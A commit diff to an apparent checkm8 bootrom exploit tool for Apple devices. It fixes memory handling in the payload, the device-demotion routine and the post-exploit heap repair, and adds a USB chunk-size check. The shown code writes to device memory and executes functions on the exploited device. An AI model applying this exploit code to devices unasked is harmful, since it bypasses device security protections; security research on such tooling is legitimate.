Copy over some adjustments from other branch ... overwrite

c8_remote/lib/payload/src/exit_usb_task.c

@@ -39,7 +39,7 @@ void fix_heap()
     check_all_chksums();
 }
 
-void entry_sync()
+void entry_sync(unsigned long long *self)
 {
     fix_heap();
 
@@ -47,6 +47,7 @@ void entry_sync()
     *(ADDR_DFU_STATUS) = 1;
 
     event_notify(ADDR_DFU_EVENT);
+    dev_free(self);
 }
 
 void entry_async(uint64_t *base){}

c8_remote/src/exploit.c

@@ -329,10 +329,10 @@ int demote_device(struct pwned_device *dev)
 
     checkm8_debug_indent("\tattempting to demote device\n");
     resp = dev_write_memory(dev, DEMOTE_REG, (unsigned char *) &oldval, 4);
-    free_dev_cmd_resp(resp);
     if(IS_CHECKM8_FAIL(resp->ret))
     {
         checkm8_debug_block("\tfailed to write to demotion reg\n");
+        free_dev_cmd_resp(resp);
 
         if(IS_CHECKM8_FAIL(close_device_session(dev)))
         {
@@ -342,6 +342,7 @@ int demote_device(struct pwned_device *dev)
 
         return CHECKM8_FAIL_INVARGS;
     }
+    free_dev_cmd_resp(resp);
 
     // verify
     resp = dev_read_memory(dev, DEMOTE_REG, 4);
@@ -385,7 +386,9 @@ int demote_device(struct pwned_device *dev)
 int fix_heap(struct pwned_device *dev)
 {
     checkm8_debug_indent("fix_heap(dev = %p)\n", dev);
-#if CHECKM8_PLATFORM == 8010
+    int close;
+
+    #if CHECKM8_PLATFORM == 8010
     unsigned long long block1_data[4] = {0x80 / 0x40, ((0x840u / 0x40) << 2u), 0x80, 0};
     unsigned long long block2_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
     unsigned long long block3_data[4] = {0x80 / 0x40, ((0x80u / 0x40) << 2u), 0x80, 0};
@@ -394,6 +397,17 @@ int fix_heap(struct pwned_device *dev)
     unsigned long long calc2_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9200, 0x1801b9220, 32, 0x180080640};
     unsigned long long calc3_args[5] = {ADDR_CALC_CHKSUM, 0x1801b9280, 0x1801b92a0, 32, 0x180080640};
 
+    if(is_device_session_open(dev)) close = 0;
+    else
+    {
+        close = 1;
+        if(IS_CHECKM8_FAIL(open_device_session(dev)))
+        {
+            checkm8_debug_indent("\tfailed to open a device session\n");
+            return CHECKM8_FAIL_XFER;
+        }
+    }
+
     dev_write_memory(dev, 0x1801b91a0, (unsigned char *) block1_data, 64);
     dev_write_memory(dev, 0x1801b9220, (unsigned char *) block2_data, 64);
     dev_write_memory(dev, 0x1801b92a0, (unsigned char *) block3_data, 64);
@@ -402,6 +416,8 @@ int fix_heap(struct pwned_device *dev)
     dev_exec(dev, 0, 5, calc2_args);
     dev_exec(dev, 0, 5, calc3_args);
 
+    if(close) close_device_session(dev);
+
 #else
 #error "Can't fix heap for unknown platform"
 #endif

c8_remote/src/usb_helpers.c

@@ -517,6 +517,12 @@ int ctrl_transfer(struct pwned_device *dev,
                 // get the size of this chunk
                 size = 0;
                 ard_read(dev, (unsigned char *) &size, 2);
+                if(size > ARD_BUF_SIZE)
+                {
+                    checkm8_debug_indent("\treceived bad chunk size %i\n", size);
+                    return CHECKM8_FAIL_XFER;
+                }
+
                 checkm8_debug_indent("\treceiving data chunk of size %i\n", size);
 
                 ard_read(dev, (unsigned char *) &data[amount], size);